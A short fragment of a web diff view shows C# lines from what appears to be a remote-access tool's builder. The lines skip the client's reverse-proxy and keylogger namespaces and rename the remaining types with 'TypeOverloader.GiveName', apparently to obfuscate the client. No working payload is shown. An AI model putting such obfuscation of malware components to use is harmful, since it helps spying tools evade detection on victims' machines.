|| typeDef.Namespace.Contains("xClient.Core.ReverseProxy")
|
||||||
|
|| typeDef.Namespace.Contains("xClient.Core.Keylogger"))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
TypeOverloader.GiveName(typeDef);
|
TypeOverloader.GiveName(typeDef);
|
||||||
|
|
Loading…
Reference in New Issue